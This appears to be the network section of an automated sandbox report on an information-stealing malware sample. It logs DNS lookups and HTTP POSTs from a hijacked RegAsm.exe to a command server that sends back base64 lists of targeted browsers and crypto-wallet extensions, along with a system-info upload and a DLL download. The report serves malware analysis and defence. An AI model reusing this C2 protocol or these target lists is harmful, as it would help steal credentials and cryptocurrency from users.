Sep 10, 2024 19:36:17.831938982 CEST	80	49709	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:18.794851065 CEST	80	49709	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:18.795023918 CEST	49709	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:21.653588057 CEST	49709	80	192.168.2.5	45.152.113.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 10, 2024 19:36:12.087747097 CEST	53688	53	192.168.2.5	1.1.1.1
Sep 10, 2024 19:36:12.099170923 CEST	53	53688	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 10, 2024 19:36:12.087747097 CEST	192.168.2.5	1.1.1.1	0x5b77	Standard query (0)	evokeedgellc.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 10, 2024 19:36:12.099170923 CEST	1.1.1.1	192.168.2.5	0x5b77	No error (0)	evokeedgellc.com		198.54.120.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

evokeedgellc.com

45.152.113.10

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	45.152.113.10	80	6616	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 10, 2024 19:36:03.600116014 CEST	88	OUT	GET / HTTP/1.1 Host: 45.152.113.10 Connection: Keep-Alive Cache-Control: no-cache
Sep 10, 2024 19:36:04.118662119 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 10, 2024 19:36:04.123908997 CEST	414	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKFCGIJKJKFHIDHIIIE Host: 45.152.113.10 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 42 35 37 44 43 30 33 31 45 46 33 34 38 39 38 38 39 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 45 2d 2d 0d 0a Data Ascii: ------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="hwid"B8B57DC031EF3489889415------DAKFCGIJKJKFHIDHIIIEContent-Disposition: form-data; name="build"default------DAKFCGIJKJKFHIDHIIIE--
Sep 10, 2024 19:36:04.280838966 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 44 49 35 4f 47 55 79 4e 44 63 79 4d 7a 55 77 5a 44 4e 6d 4d 7a 6c 69 4d 6d 45 35 5a 44 55 31 4f 54 4e 69 4f 44 6b 79 4e 54 46 69 4d 6d 45 79 4d 44 63 77 5a 54 4e 69 4d 7a 41 31 59 7a 67 32 4d 44 4d 7a 4e 6a 42 6c 5a 47 4e 69 5a 47 4e 6d 59 54 6b 79 5a 54 46 69 4d 32 46 6b 4e 6a 55 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 42 38 4d 48 77 77 66 44 42 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MDI5OGUyNDcyMzUwZDNmMzliMmE5ZDU1OTNiODkyNTFiMmEyMDcwZTNiMzA1Yzg2MDMzNjBlZGNiZGNmYTkyZTFiM2FkNjU4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDB8MHwwfDB8MXwwfHlibmNiaHlsZXBtZXw=
Sep 10, 2024 19:36:04.282550097 CEST	468	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGCAKFHCFHJKECFIID Host: 45.152.113.10 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 43 41 4b 46 48 43 46 48 4a 4b 45 43 46 49 49 44 2d 2d 0d 0a Data Ascii: ------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------KFBGCAKFHCFHJKECFIIDContent-Disposition: form-data; name="message"browsers------KFBGCAKFHCFHJKECFIID--
Sep 10, 2024 19:36:04.414767027 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1460 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 10, 2024 19:36:04.414793015 CEST	452	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 10, 2024 19:36:04.416440010 CEST	467	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJKEHCAKFBFHJKEHCF Host: 45.152.113.10 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 2d 2d 0d 0a Data Ascii: ------JJJJKEHCAKFBFHJKEHCFContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------JJJJKEHCAKFBFHJKEHCFContent-Disposition: form-data; name="message"plugins------JJJJKEHCAKFBFHJKEHCF--
Sep 10, 2024 19:36:04.550074100 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 10, 2024 19:36:04.550175905 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 10, 2024 19:36:04.550185919 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 10, 2024 19:36:04.550195932 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 10, 2024 19:36:04.550204992 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Sep 10, 2024 19:36:04.550221920 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 10, 2024 19:36:04.550230980 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Sep 10, 2024 19:36:04.552128077 CEST	468	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBFIEBAFCBAAAAKJKJE Host: 45.152.113.10 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 34 37 32 33 35 30 64 33 66 33 39 62 32 61 39 64 35 35 39 33 62 38 39 32 35 31 62 32 61 32 30 37 30 65 33 62 33 30 35 63 38 36 30 33 33 36 30 65 64 63 62 64 63 66 61 39 32 65 31 62 33 61 64 36 35 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="message"fplugins------IEBFIEBAFCBAAAAKJKJE--
Sep 10, 2024 19:36:04.684254885 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 10, 2024 19:36:04.703094959 CEST	201	OUT	POST /92335b4816f77e90.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAA Host: 45.152.113.10 Content-Length: 5495 Connection: Keep-Alive Cache-Control: no-cache
Sep 10, 2024 19:36:04.703130007 CEST	5495	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 32 39 38 65 32 Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"0298e2472350d3f39b2a9d5593b89251b2a2070e3b305c8603360edcbdcfa92e1b3ad658------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 10, 2024 19:36:04.887805939 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 10, 2024 19:36:04.888926029 CEST	92	OUT	GET /15a25e53742510fe/sqlite3.dll HTTP/1.1 Host: 45.152.113.10 Cache-Control: no-cache
Sep 10, 2024 19:36:05.017879009 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 10 Sep 2024 17:36:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 10, 2024 19:36:05.017893076 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
